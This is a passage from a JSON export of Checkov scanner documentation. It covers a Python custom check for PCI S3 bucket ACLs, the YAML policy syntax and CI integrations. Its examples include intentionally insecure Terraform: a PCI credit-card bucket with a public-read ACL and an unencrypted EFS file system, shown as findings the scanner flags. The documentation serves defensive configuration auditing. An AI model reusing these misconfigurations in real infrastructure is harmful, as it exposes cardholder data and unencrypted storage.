local.bucket_name\n  acl           = \"public-read\"\n  force_destroy = true\n\n  tags = {\n    Scope = \"PCI\",\n    \n  }\n}\n```\n\nTo trigger the failed check result, you need to add a new check to ensure PCI related S3 buckets will stay private.\n1. Create a new python folder named `my_extra_checks` containing the new check:\n\n```text\n├── main.tf\n├── variables.tf\n└── outputs.tf\n└── my_extra_checks\n    └── __init__.py\n    └── S3PCIPrivateACL.py\n```\n\n  a. The first time you setup the custom checks folder, you need to also create a file named `__init__.py`.\n\n```python\nfrom os.path import dirname, basename, isfile, join\nimport glob\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [ basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]\n```\n\n  b. Complete the matching logic in `S3PCIPrivateACL.py`:\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass S3PCIPrivateACL(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure PCI Scope buckets has private ACL (enable public ACL for non-pci buckets)\"\n        id = \"CKV_AWS_999\"\n        supported_resources = (\"aws_s3_bucket\",)\n        # CheckCategories are defined in models/enums.py\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        guideline = \"Follow the link to get more info https://docs.prismacloud.io/en/enterprise-edition/policy-reference\"\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for ACL configuration at aws_s3_bucket and Tag values:\n            https://www.terraform.io/docs/providers/aws/r/s3_bucket.html\n        :param conf: aws_s3_bucket configuration\n        :return: <CheckResult>\n        \"\"\"\n        tags = conf.get(\"tags\")\n        if tags and isinstance(tags, list):\n            tags = tags[0]\n            if tags.get(\"Scope\") == \"PCI\":\n                acl_block = conf['acl']\n                if acl_block in [[\"public-read\"], [\"public-read-write\"], [\"website\"]]:\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = S3PCIPrivateACL()\n```\n\n2. With the new custom check in place, run Checkov:\n\n```python\n# install from pypi using pip\npip install checkov\n\n\n# select an input folder that contains your terraform files and enable loading of extra checks\ncheckov -d . --external-checks-dir my_extra_checks\n```\nVerify the results:\n\n```shell\nCheck: \"Ensure PCI Scope buckets has private ACL (enable public ACL for non-pci buckets)\"\n\tFAILED for resource: aws_s3_bucket.credit_cards_bucket\n\tFile: /main.tf:80-90\n\tGuide: Follow the link to get more info https://docs.prismacloud.io/en/enterprise-edition/policy-reference\n\n\t\t80 | resource \"aws_s3_bucket\" \"credit_cards_bucket\" {\n\t\t81 |   region        = var.region\n\t\t82 |   bucket        = local.bucket_name\n\t\t83 |   acl           = \"public-read\"\n\t\t84 |   force_destroy = true\n\t\t85 |\n\t\t86 |   tags = {\n\t\t87 |     Scope = \"PCI\",\n\t\t88 |\n\t\t89 |   }\n\t\t90 | }\n```\n\n**Attention:** Policies cannot share the same file name. If two policies with the same file name exist, only the first one will be loaded.\n"
  },
  {
    "path": "docs/3.Custom Policies/Sharing Custom Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Sharing Custom Policies\nnav_order: 5\n---\n\n# Sharing Custom Policies\n\n[Custom Policies](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html) can be reused across multiple projects. \n\nYou can download a git repository containing custom checks: \n\n```python\ncheckov --external-checks-git  https://github.com/bridgecrewio/checkov.git\n```\n\n## Sub-directories\n\nIf you want to download only a specific subdirectory from a GitHub repository, you can specify a subdirectory after a double-slash` //`. Checkov will first download the URL specified before the double-slash (as if you didn’t specify a double-slash), but will then copy the path after the double slash into a temporal directory.\n\n```text\ncheckov --external-checks-git  https://github.com/bridgecrewio/checkov.git//tests/terraform/checks/resource/registry/example_external_dir/extra_checks\n```\n\nFor example, if you’re downloading this GitHub repository, but you only want to download the “extra_checks” directory, you can do the following:\n\n`https://github.com/bridgecrewio/checkov.git//extra_checks`\n\nNote: Checkov will execute Python code. Only use trusted sources when executing external checks.\n"
  },
  {
    "path": "docs/3.Custom Policies/YAML Custom Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: YAML Custom Policies\nnav_order: 3\n---\n\n# Create Custom Policy - YAML - Attribute Check and Composite\n\nCustom policies created in YAML support checking a resource’s connection state and the use of complex AND/OR logic. Read also how to [create custom Python Policies for attribute scanning](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html).\n\nA YAML-based custom policy for Checkov consists of sections for the **Metadata** and **Policy Definition**.\n\n![](policy-definition.png)\n\n**Metadata**\n\nThe Metadata includes:\n\n* Policy Name\n* ID - `CKV2_<provider>_<number>`\n* Category\n* Guideline (optional)\n* Severity (optional) - can be `INFO`, `LOW`, `MEDIUM`, `HIGH`, `CRITICAL`\n\nThe possible values for category are:\n\n* GENERAL_SECURITY\n* LOGGING\n* ENCRYPTION\n* NETWORKING\n* IAM\n* BACKUP_AND_RECOVERY\n* CONVENTION\n* SECRETS\n* KUBERNETES\n* APPLICATION_SECURITY\n* SUPPLY_CHAIN\n* API_SECURITY \n\nThe possible values for severity are:\n\n* INFO\n* LOW\n* MEDIUM\n* HIGH\n* CRITICAL\n\n```yaml\nmetadata:\n  id: \"CKV2_CUSTOM_1\"\n  name: \"Ensure bucket has versioning and owner tag\"\n  category: \"BACKUP_AND_RECOVERY\"\n  guideline: \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/ckv2_custom_1\"\n  severity: \"HIGH\"\n```\n\n## Policy Definition\n\nThe policy definition consists of:\n\n* **Definition Block(s)** - either *Attribute Block(s)* or *Connection State Block(s)* or both\n* **Logical Operator(s)** (optional)\n* **Filter** (optional)\n\nThe top level object under `definition` must be a single object (not a list). It can be an attribute block, a connection block, or a logical operator (`and`, `or`, `not`).\n\n## Types of Definition Blocks\n\n* **Attribute Blocks:** The policy describes resources with a certain configuration as defined by a configuration **attribute** and its value (per Terraform), or by the presence/absence of an attribute.\n* **Connection State Blocks:**  The policy describes resources in a particular **Connection state**; either connected or not connected to another type of resource (for example, a security group).\n* **Resource Type Blocks:** The policy describes resource types that are either allowed or forbidden to use, commonly referred to as allow/deny lists.\n\n### Using AND/OR Logic\nA policy definition may include multiple blocks (**Attribute**, **Connection state** or both), associated by **AND/OR** logic.\n\n### Using NOT Logic\nA policy definition may include any block (**Attribute**, **Connection state**, or **AND/OR**) underneath a `not` block to invert the statement.\n\n## Attribute Blocks\n\nAn **Attribute Block** in a policy's definition indicates that a resource will be non-compliant if a certain configuration attribute does not have a specified value or if it exists/doesn't exist.\n\nPrisma Cloud's custom policies in code utilize the Terraform attribute library and syntax. These policies are checked during scans of both build-time and runtime resources and for all supported cloud providers.\n\n### Attribute Block Example\n\nThe Attribute Block in the `definition` in the example below is used to ensure that a proper back-up policy is configured for Redshift clusters:\n\n```yaml\ndefinition:\n     cond_type: \"attribute\"\n     resource_types:\n     - \"aws_redshift_cluster\"\n     attribute: \"automated_snapshot_retention_period\"\n     operator: \"not_equals\"\n     value: \"0\"\n```\n\n### Attribute Condition: Operators\n\n| Value in YAML                  | Description                                                                                                       | Value types       | Example                                           |\n|--------------------------------|-------------------------------------------------------------------------------------------------------------------|-------------------|---------------------------------------------------|\n| `equals`                       | Exact value match                                                                                                 | String, Int, Bool | operator: \"equals\"<br>value: \"t3.nano\"            |\n| `not_equals`                   | Not equal to the value                                                                                            | String, Int, Bool | operator: \"not_equals\"<br>value: \"t3.nano\"        |\n| `regex_match`                  | The value must match the regular <br>expression                                                                   | String (RegEx)    | operator: \"regex_match\"<br>value: \"^myex-.*\"      |\n| `not_regex_match`              | The value must not match the regular <br>expression                                                               | String (RegEx)    | operator: \"not_regex_match\"<br>value: \"^myex-.*\"  |\n| `exists`                       | The attribute or connection appears in the <br>resource definition                                                | None              | attribute: \"name\"<br>operator: exists |\n| `not_exists`                   | The attribute or connection does not <br>appear in the resource                                                   | None              | attribute: \"name\"<br>operator: not_exists |\n| `one_exists`                   | At least one connection of a specific type <br>exists                                                             | None         | resource_types:<br>  - aws_vpc<br>connected_resource_types:<br>  - aws_flow_log<br>operator: one_exists<br>attribute: networking<br>cond_type: connection |\n| `contains`                     | Checks if an attribute's value contains <br>the specified values, supporting nested structures                    |  String    | operator: \"contains\"<br>value: <br>-\"value1\" |\n| `not_contains`                 | Checks if an attribute's value does not contain <br>the specified values, supporting nested structures            | String    | operator: \"not_contains\"<br>value: <br>-\"value1\" |\n| `within`                       | Checks if the attribute is within a given list of values                                                          | (List) String | operator: within<br> - value1<br> - value2 |\n| `not_within`                   | Checks if the attribute is not within a given list of values                                                      | (List) Strings | operator: not_within<br>value:<br> - 'value1'<br> - 'value2' |\n| `starting_with`                | The attribute must begin with the value                                                                           | String | operator: starting_with<br>value: terraform-aws-modules |\n| `not_starting_with`            | The attribute must not begin with the value                                                                       | String | operator: not_starting_with<br>value: terraform-aws-modules |\n| `ending_with`                  | The value used by the attribute must end <br>with this string                                                     | String | operator: ending_with<br>value: \"-good\" |\n| `not_ending_with`              | The value used by the attribute must not <br>end with this string                                                 | String | operator: not_ending_with<br>value: \"-bad\" |\n| `greater_than`                 | The value used by the attribute must be <br>greater than this value                                               | String, Int | operator: greater_than<br>value: \"100\" |\n| `greater_than_or_equal`        | The value used by the attribute must be <br>greater than or equal to this value                                   | String, Int | operator: less_than_or_equal<br>value: \"100\" |\n| `less_than`                    | The value used by the attribute must be <br>less than this value                                                  | String, Int | operator: less_than<br>value: \"100\" |\n| `less_than_or_equal`           | The value used by the attribute must be <br>less than or equal to this value                                      | String, Int | operator: less_than_or_equal<br>value: \"100\" |\n| `subset`                       | The values used by the attribute must be <br>a subset of the listed values and not <br>outside of that            | (List) String | operator: subset<br>value: <br> - \"a\"<br> - \"b\" |\n| `not_subset`                   | The values used by the attribute must <br>not be any of a subset of the listed <br>values and not outside of that | (List) String | operator: not_subset<br>value: <br> - \"a\"<br> - \"b\" |\n| `is_empty`                     | The attribute must not have a value                                                                               | None | attribute: \"audit_log_config.*.exempted_members\"<br>operator: is_empty |\n| `is_not_empty`                 | The attribute must have a value                                                                                   | None | attribute: \"description\"<br>operator: is_not_empty |\n| `length_equals`                | The list of attributes of that type must <br>be of this number                                                    | String, Int | resource_types:<br> - aws_security_group<br>attribute: ingress<br>operator: length_equals<br>value: \"2\" |\n| `length_not_equals`            | The list of attributes of that type must <br>not be of this number                                                | String, Int | resource_types:<br> - aws_security_group<br>attribute: ingress<br>operator: length_not_equals<br>value: \"2\" |\n| `length_less_than`             | The list of attributes of that type must <br>be less than this number                                             | String, Int | resource_types:<br> - aws_security_group<br>attribute: ingress<br>operator: length_less_than<br>value: \"20\" |\n| `length_less_than_or_equal`    | The list of attributes of that type must <br>be less than or equal to this number                                 | String, Int | resource_types:<br> - aws_security_group<br>attribute: ingress<br>operator: length_less_than_or_equal<br>value: \"20\" |\n| `length_greater_than`          | The list of attributes of that type must <br>be greater than this number                                          | String, Int | resource_types:<br> - aws_security_group<br>attribute: ingress<br>operator: length_greater_than<br>value: \"20\" |\n| `length_greater_than_or_equal` | The list of attributes of that type must <br>be greater than or equal to this number                              | String, Int | resource_types:<br> - aws_security_group<br>attribute: ingress<br>operator: length_greater_than_or_equal<br>value: \"20\" |\n| `is_false`                     | The value of the attribute must be false                                                                          | None | operator: is_false |\n| `is_true`                      | The value of the attribute must be true                                                                           | None | operator: is_true |\n| `intersects`                   | Given 2 values, check if those values <br>intersect                                                               | (List) Strings | attribute: \"availability_zone\"<br>operator: \"intersects\"<br>value: \"us-\" |\n| `not_intersects`               | Given 2 values, check if those values do<br> not intersect                                                        | (List) Strings | attribute: \"availability_zone\"<br>operator: \"not_intersects\"<br>value: \"us-\" |\n| `equals_ignore_case`           | The value of the attribute equals this <br>value, ignoring case for both                                          | String | operator: \"equals_ignore_case\"<br>value: \"INGRESS\" |\n| `not_equals_ignore_case`       | The value of the attribute does not <br>equal this value, ignoring case for both                                  | String | operator: \"not_equals_ignore_case\"<br>value: \"INGRESS\" |\n| `range_includes`               | The range of the value or range of the <br>attribute includes this value or range                                 | String, Int | operator: \"range_includes\"<br>value: 3000 |\n| `range_not_includes`           | The range of the value or range of the <br>attribute does not include this value or range                         | String, Int | operator: \"range_not_includes\"<br>value: 3000 |\n| `number_of_words_equals`       | The number of words in the value of the <br>attribute is equal to this number                                     | String, Int | operator: number_of_words_equals<br>value: 6 |\n| `number_of_words_not_equals`   | The number of words in the value of the <br>attribute is not equal to this number                                 | String, Int | operator: number_of_words_not_equals<br>value: 6 |\n| `cidr_range_subset_attribute_solver`     | The value must be inside the CIDR range or ranges                                                                 | (List) String     | operator: cidr_range_subset_attribute_solver<br>value: \"10.0.0.0/8\"                                                                                       |\n| `cidr_range_not_subset_attribute_solver` | The value must not be inside the CIDR range or ranges                                                             | (List) String     | operator: cidr_range_not_subset_attribute_solver<br>value: \"10.0.0.0/8\"                                                                                   |\n\nAll those operators are supporting JSONPath attribute expression by adding the `jsonpath_` prefix to the operator, for example - `jsonpath_length_equals`\n\n### Attribute Condition: Keys and Values\n\n| Key | Type | Value(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |\n| --- | --- |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `cond_type` | string | Must be `attribute`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |\n| `resource_type` | collection of strings | Use either `all`, `taggable`, or `[resource types from list]`                                                                                                                                                                                                                                                                                                                                                                                                                                                        |\n| `attribute` | string | Attribute of defined resource types. For example, `automated_snapshot_retention_period`                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `operator` | string | - `equals`, `not_equals`, `regex_match`, `not_regex_match`, `exists`, `not exists`, `any`, `contains`, `not_contains`, `within`, `starting_with`, `not_starting_with`, `ending_with`, `not_ending_with`, `greater_than`, `greater_than_or_equal`, `less_than`, `less_than_or_equal`, `is_empty`, `is_not_empty`, `length_equals`, `length_not_equals`, `length_greater_than`, `length_greater_than_or_equal`, `length_less_than`, `length_less_than_or_equal`, `is_true`, `is_false`, `intersects`, `not_intersects` |\n| `value` (not relevant for operator: `exists`/`not_exists`) | string | User input.                                                                                                                                                                                                                                                                                              |\n\n\n### Evaluating list attributes\n\nYou may use a wildcard (`*`) to evaluate all of the items within a list. You may use multiple wildcards to evaluated nested lists. If *any* item in the list matches the condition, then the condition passes.\n\nFor example, consider the following resource:\n\n```\nresource \"aws_security_group\" \"sg\" {\n  ...\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    ...\n  }\n  ingress {\n    cidr_blocks = [\"192.168.1.0/24\"]\n    ...\n  }\n}\n```\n\nThe following definition will return `true`, because one of the CIDR blocks contains `0.0.0.0/0`:\n\n```yaml\ncond_type: attribute\nresource_types:\n  - \"aws_security_group\"\nattribute: \"ingress.*.cidr_blocks\"\noperator: \"contains\"\nvalue: \"0.0.0.0/0\"\n```\n\nNote that switching the operator to `not_contains` will still result in the evaluation being `true`, because there is also an element that does *not* contain `0.0.0.0/0`. If you want to write a policy that fails if any CIDR block contains `0.0.0.0/0`, consider the `not` operator, described below.\n\n## Connection State Block\n\nA Connection State Block indicates a type of resource that has or does not have a connection to another type of resource.\nIn the example presented in the table below, in order to be compliant, `aws_lb` and `aws_elb` must have connections to either `aws_security_group` or `aws_default_security_group`.\n\n| Group A | Group B |\n| --- | --- |\n|`aws_lb` `aws_elb` | `aws_security_group` `aws_default_security_group` |\n\n\n### Connection State Example\n\nThe Connection State Block below indicates that to be compliant with the policy, resources of type `aws_lb` or of type `aws_elb` must be connected to either a resource of type `aws_security_group` or a resource of type `aws_default_security_group`.\n\n```yaml\ndefinition:\n       cond_type: \"connection\"\n       resource_types:\n           - \"aws_elb\"\n           - \"aws_lb\"\n       connected_resource_types:\n         - \"aws_security_group\"\n         - \"aws_default_security_group\"\n       operator: \"exists\"\n```\n\n### Connection State Condition: Operators\n\n| Operator | Value |\n| ----- | ----- |\n| Exists | `exists` |\n| Not Exists | `not_exists` |\n| One Exists | `one_exists` |\n\n### Connection State Condition: Keys and Values\n\n| Key | Type | Values |\n| ----- | ----- | ----- |\n| `cond_type` | string | Must be `connection` |\n| `resource_types` |   | Use either `all` or `[included resource type from list]` |\n| `connected_resource_types` | collection of strings | Use either `all` or `[included resource type from list]` |\n| `operator` | string | `exists`/`not exists` |\n\n## Filters\n\nFilters can be used to limit the types of resources relevant to a condition. Filters are most commonly used for Connection Blocks (for Attribute Blocks you can easily limit the resource type with the `resource_type` parameter).\nFor example, you may want to enforce a policy only for a specific resource type (or types) from specific groups defined in the conditions. Filters are available only for AND logic at the top level.\n\n### Filter Example\n\nThe Custom Policy in this example ensures that all ELBs are attached to security groups as shown in the table below. In line with best practices, connections of this nature should be defined using the `security_groups` key.\n\n| Group A | Group B |\n| ----- | ----- |\n| `aws_elb` | `aws_security_group` `aws_default_security_group` |\n| Not Exists | `not_exists` |\n\n```yaml\ndefinition:\n and:\n      - cond_type: \"filter\"\n        attribute: \"resource_type\"\n        value:\n           - \"aws_elb\"\n        operator: \"within\"\n      - cond_type: \"connection\"\n        resource_types:\n           - \"aws_elb\"\n        connected_resource_types:\n         - \"aws_security_group\"\n         - \"aws_default_security_group\"\n        operator: \"exists\"\n```\n\n*Note: The condition above uses AND logic. See [additional examples](https://www.checkov.io/3.Custom%20Policies/Examples.html) for complex logic in policy definitions.*\n\n## Resource Type Blocks\n\nA **Resource Type Block** in a policy's definition indicates that a resource will be compliant/non-complaint depending on the resource type, which is allowed/forbidden. Use the `exist` operator to define an allowlist and the `not_exist` operator to define a blocklist.\n\n### Resource Type Block Example\n\nThe Resource Type Block in the `definition` in the example below is used to ensure CloudHSM cluster won't be provisioned:\n\n```yaml\ndefinition:\n  cond_type: \"resource\"\n  resource_types:\n   - \"aws_cloudhsm_v2_cluster\"\n  operator: \"not_exists\"\n```\n\n## Using AND/OR Logic\n\nThe Prisma Cloud platform allows you to combine definition blocks using AND/OR operators.\n\n* The top-level logical operator is the first key below \\\"definition\\\" (and not an item in a collection). Most policies will start with an `and` or `or` key here, with multiple conditions nested within that.\n* Filter blocks apply (only) to the top-level and constitute an AND condition. For example, if you'd like to indicate a requirement for a Connection State between types of resources, but only within a certain subset of all of those resources.\nEvery other logical operator applies within a collection. For example, you can use AND/OR logic in a collection of key-value pairs.\n* The value for the `and` or `or` key must be a list; each element of the list must be a valid definition on its own (i.e., a combination of attribute conditions, connection conditions, nested AND/OR, etc).\n\n### Example\n\nThe logic in the policy definition shown below is:\n`AND[block 1,block 2,OR[block 3,block 4]]`.\n\n```yaml\n#....\ndefinition:\n  and:\n  - #filter block 1\n  - #block 2\n  - or:\n    - #block 3\n    - #block 4\n```\n\n[See all examples of Custom Policies in code](https://www.checkov.io/3.Custom%20Policies/Examples.html)\n\n## Using NOT Logic\n\nYou can use `not` in the same places that you may use `and` and `or` to invert the nested condition definition. The value of the `not` element in the policy may be either a list containing exactly one element (which can also be nested more deeply), or any other type of block.\n\n### Example\n\nThe definition below inverts the example in the previous section.\n\n```yaml\n#....\ndefinition:\n  not:\n    and:\n    - #filter block 1\n    - #block 2\n    - or:\n      - #block 3\n      - #block 4\n```\n\nThe following code is also valid (the child of `not` is a list of length 1):\n\n```yaml\n#....\ndefinition:\n  not:\n  - and:\n    - #filter block 1\n    - #block 2\n    - or:\n      - #block 3\n      - #block 4\n```\n\n[See all examples of Custom Policies in code](https://www.checkov.io/3.Custom%20Policies/Examples.html)\n\n## Supported Frameworks\n\n### Ansible\nFollowing `resource_types` are supported\n\n- `block`\n- `tasks.[module name]`\n\nex.\n```yaml\ncond_type: attribute\nresource_types:\n  - tasks.ansible.builtin.uri\n  - tasks.uri\nattribute: url\noperator: starting_with\nvalue: \"https://\"\n```\n\n#### Note\nIn the case a module can be used without parameters by just adding the value to it, \nthen it can be queried via a the special attribute `__self__`.\n\nex.\n```yaml\ncond_type: \"attribute\"\nresource_types:\n  - \"ansible.builtin.command\"\n  - \"command\"\nattribute: \"__self__\"\noperator: \"not_contains\"\nvalue: \"vim\"\n```\n\n### ARM\nAll resources can be referenced under `resource_types`.\nCurrently, no support for connections.\n\n### Bicep\nAll resources can be referenced under `resource_types`.\nAny kind of connection between resources is supported\n\n### CloudFormation\nAll resources can be referenced under `resource_types`.\nAny kind of connection between resources is supported\n\n### Dockerfile\nAll official Docker instructions can be referenced under `resource_types`.\nCurrently, no support for connections.\n\n#### Note\nFollowing attribute values are supported\n\n- `content` stores the raw data for an instruction\n- `value` stores the sanitized data for an instruction\n\nex.\n```dockerfile\nRUN apt-get update \\\n && sudo apt-get install vim\n```\n->\n```yaml\ncontent: \"RUN apt-get update \\\\\\n && sudo apt-get install vim\\n\"\nvalue: \"apt-get update  && sudo apt-get install vim\"\n```\n\n### GitHub Actions\nFollowing `resource_types` are supported\n\n- `permissions` on the root level\n- `steps`\n- `jobs`\n- `on`\n\nFollowing connections are supported\n\n- `steps` -> `jobs`\n\n#### Note\nThe value for `permissions` can be either a map or a single string.\nMap entries should be prefixed with `permissions.` key and a single string entry can be accessed by using `permissions` as the attribute.\n\nex.\n```yaml\ncond_type: \"attribute\"\nresource_types:\n  - \"permissions\"\nattribute: \"permissions\"\noperator: \"not_equals\"\nvalue: \"write-all\"\n```\n\nThe value for `on` can be either a map, a string or a list of strings.\n\nex.\n```yaml\ncond_type: attribute\nresource_types:\n  - \"on\"\nattribute: on.push.branches\noperator: contains\nvalue: main\n```\n\n### Kubernetes\nAll resources can be referenced under `resource_types`.\nCurrently, no support for connections.\n\n### Terraform\nAll resources can be referenced under `resource_types`.\nAny kind of connection between resources is supported\n\n"
  },
  {
    "path": "docs/4.Integrations/Bitbucket Cloud Pipelines.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Bitbucket Cloud Pipelines\nnav_order: 2\n---\n\n# Integrate Checkov with Bitbucket Cloud Pipelines\n\nYou can integrate checkov into your Bitbucket Cloud pipelines. This provides a simple, automatic way of applying policies to your Terraform code both during merge request review and as part of your build process.\n\n## Basic Setup\n\nAdd a new step in the `bitbucket-pipelines.yml` file in your repository as part of whichever pipelines are appropriate for you.\n\nHere is a minimalistic example:\n```yaml\ncheckov: &checkov\n  step:\n    name: Checkov\n    image:\n      name: bridgecrew/checkov:latest\n      entrypoint:\n        - '/usr/bin/env'\n        - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'\n    script:\n      - checkov -d .\n\npipelines:\n  default:\n    - <<: *checkov\n```\n\n## Example Results\n\nWhen your pipeline executes, it will run this job. If checkov finds any issues, it will fail the build.\n\n### Pipeline Failure\n\nFor example, I have an S3 bucket that does not have versioning enabled. Checkov detects this and fails the job and pipeline.\n\n![Bitbucket Failed Pipeline](bitbucket_failed_pipeline.png)\n\nThis will comment on an associated merge request or fail the build depending on the context.\n\n### Pipeline Success\n\nOnce I have corrected the configuration, checkov verifies that all is well.\n\n![Bitbucket Results](bitbucket_results.png)\n\n## Further Reading\n\nSee the [Bitbucket pipelines documentation](https://confluence.atlassian.com/bitbucket/build-test-and-deploy-with-pipelines-792496469.html) for additional information.\n"
  },
  {
    "path": "docs/4.Integrations/Docker.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Docker\nnav_order: 7\n---\n\n# Using Checkov with Docker\n\n```coffeescript\ndocker pull bridgecrew/checkov\ndocker run --tty --volume /user/tf:/tf --workdir /tf bridgecrew/checkov --directory /tf\n```\n\nIf you are using Python 3.6 (which is the default version in Ubuntu 18.04) Checkov will not work and it will fail with `ModuleNotFoundError: No module named 'dataclasses'`. In this case, you can use the Docker version instead.\\n\\nIn certain cases, when redirecting `docker run --tty` output to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the --tty flag.\n\n## Signed images\n\nDocker images are keyless signed with `cosign` and attested with a `CycloneDX` formatted SBOM.\n\n### Verify image\n\n```shell\nCOSIGN_EXPERIMENTAL=1 cosign verify bridgecrew/checkov | jq .\n```\n\n### Verify attestation\n\n```shell\nCOSIGN_EXPERIMENTAL=1 cosign verify-attestation --type cyclonedx bridgecrew/checkov | jq -r .payload | base64 -D | jq .\n```\n"
  },
  {
    "path": "docs/4.Integrations/GitHub Actions.md",
    "content": "---\nlayout: default\npublished: true\ntitle: GitHub Actions\nnav_order: 3\n---\n\n# Integrate Checkov with GitHub Actions\n\nIntegrating Checkov into GitHub Actions provides a simple, automatic way of applying policies to your Terraform code both during pull request review and as part of any build process.\n\n## Use a Checkov Action from the Marketplace\n\nCheck out our [pre-made action](https://github.com/bridgecrewio/checkov-action).\n\n## Create Your Own Action: Basic Set-up\n\nAdd a new step in the `workflow.yml`.\n\n```tree\n├───.github\n│   └───workflows\n```\n\nHere is a basic example:\n\n```yaml\n---\nname: Checkov\non:\n  push:\n    branches:\n      - master\njobs:\n  build:\n\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v2\n      - name: Set up Python 3.9\n        uses: actions/setup-python@v4\n        with:\n          python-version: 3.9\n      - name: Test with Checkov\n        id: checkov\n        uses: bridgecrewio/checkov-action@master\n        with:\n          directory: example/examplea\n          framework: terraform \n```\n\n## Example Results\n\nAny time after you push your code to GitHub, it will run your job. If Checkov finds any errors, it will fail the build. \n\n### Action Failure\n\nIn the original examples code, the file **aws_efs_file_system.sharedstore.tf** is not set to encrypted:\n\n```python\nresource \"aws_efs_file_system\" \"sharedstore\" {\n  creation_token = var.efs[\"creation_token\"]\n\n  lifecycle_policy {\n    transition_to_ia = var.efs[\"transition_to_ia\"]\n  }\n\n  kms_key_id                      = var.efs[\"kms_key_id\"]\n  encrypted                       = false\n  performance_mode                = var.efs[\"performance_mode\"]\n  provisioned_throughput_in_mibps = var.efs[\"provisioned_throughput_in_mibps\"]\n  throughput_mode                 = var.efs[\"throughput_mode\"]\n}\n```\n\nThis will fail a Checkov test:\n\n![Actions Failure](actions_failure.png)\n\n### Pipeline Success\n\nThe previous error can be fixed by setting the value of encryption to **true**.\n![Actions success](actions_success.png)\n\n[Read more details on using Python in GitHub Actions.](https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions)\n"
  },
  {
    "path": "docs/4.Integrations/GitLab CI.md",
    "content": "---\nlayout: default\npublished: true\ntitle: GitLab CI\nnav_order: 4\n---\n\n# Integrate Checkov with GitLab CI\n\nIntegrating Checkov into your GitLab CI pipelines provides a simple, automatic way of applying policies to your Terraform code both during merge request review and as part of your build process.\n\n## Basic Setup\nAdd a new job in `.gitlab-ci.yml` in your repository (at whatever stage is appropriate for you).\n\nHere is a basic example:\n\n```yaml\nstages:\n    - test\n    \ncheckov:\n  stage: test\n  allow_failure: true  # True for AutoDevOps compatibility\n  image:\n    name: bridgecrew/checkov:latest\n    entrypoint:\n      - '/usr/bin/env'\n      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'\n  rules:\n    - if: $SAST_DISABLED\n      when: never\n    - if: $CI_COMMIT_BRANCH\n      exists:\n        - '**/*.yml'\n        - '**/*.yaml'\n        - '**/*.json'\n        - '**/*.template'\n        - '**/*.tf'      \n        - '**/serverless.yml'\n        - '**/serverless.yaml'\n  script:\n    - checkov -d . -o junitxml | tee checkov.test.xml\n  artifacts:\n    reports:\n      junit: \"checkov.test.xml\"\n    paths:\n      - \"checkov.test.xml\"\n```\n\n## Example Results\nWhen your pipeline executes, it will run this job. If Checkov finds any issues, it will fail the build.\n\n### Pipeline Failure\nFor example, I have an S3 bucket that does not have versioning enabled. Checkov detects this and fails the job and pipeline.\n\n[](gitlab_failed_job.png)\n\nThis will comment on an associated merge request or fail the build depending on the context.\n\nGitLab will collect the results into the normal unit testing area of the pipeline and/or the merge request.\n\n### Pipeline Success\nOnce you correct the configuration, Checkov verifies that no errors have been found.\n\n[](gitlab_results.png)\n\n## Colored Output\nNote that in the examples above, the output of the test results does not display colors. This is because GitLab Runner runs without an interactive TTY. Although Checkov does not currently support an environment variable to force colored output, the `script` command can be used to emulate `tty` so colors are displayed:\n\n```yaml\nstages:\n    - test\n\ncheckov:\n  stage: test\n  allow_failure: true  # True for AutoDevOps compatibility\n  image:\n    name: bridgecrew/checkov:latest\n    entrypoint:\n      - '/usr/bin/env'\n      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'\n  rules:\n    - if: $SAST_DISABLED\n      when: never\n    - if: $CI_COMMIT_BRANCH\n      exists:\n        - '**/*.yml'\n        - '**/*.yaml'\n        - '**/*.json'\n        - '**/*.template'\n        - '**/*.tf'      \n        - '**/serverless.yml'\n        - '**/serverless.yaml'\n  script:\n    # Use `script` to emulate `tty` for colored output.\n    - script -q -c 'checkov -d . ; echo $? > CKVEXIT'\n    - exit $(cat CKVEXIT)\n```\n\nSee the [GitLab CI documentation](https://docs.gitlab.com/ee/ci/) for additional information.\nThere is also a working example of using GitLab CI with Checkov [here](https://gitlab.com/guided-explorations/ci-cd-plugin-extensions/checkov-iac-sast).  This example shows how to use the same Checkov YAML file as an includable extension so that all your jobs reuse the same job definition.\n"
  },
  {
    "path": "docs/4.Integrations/Jenkins.md",
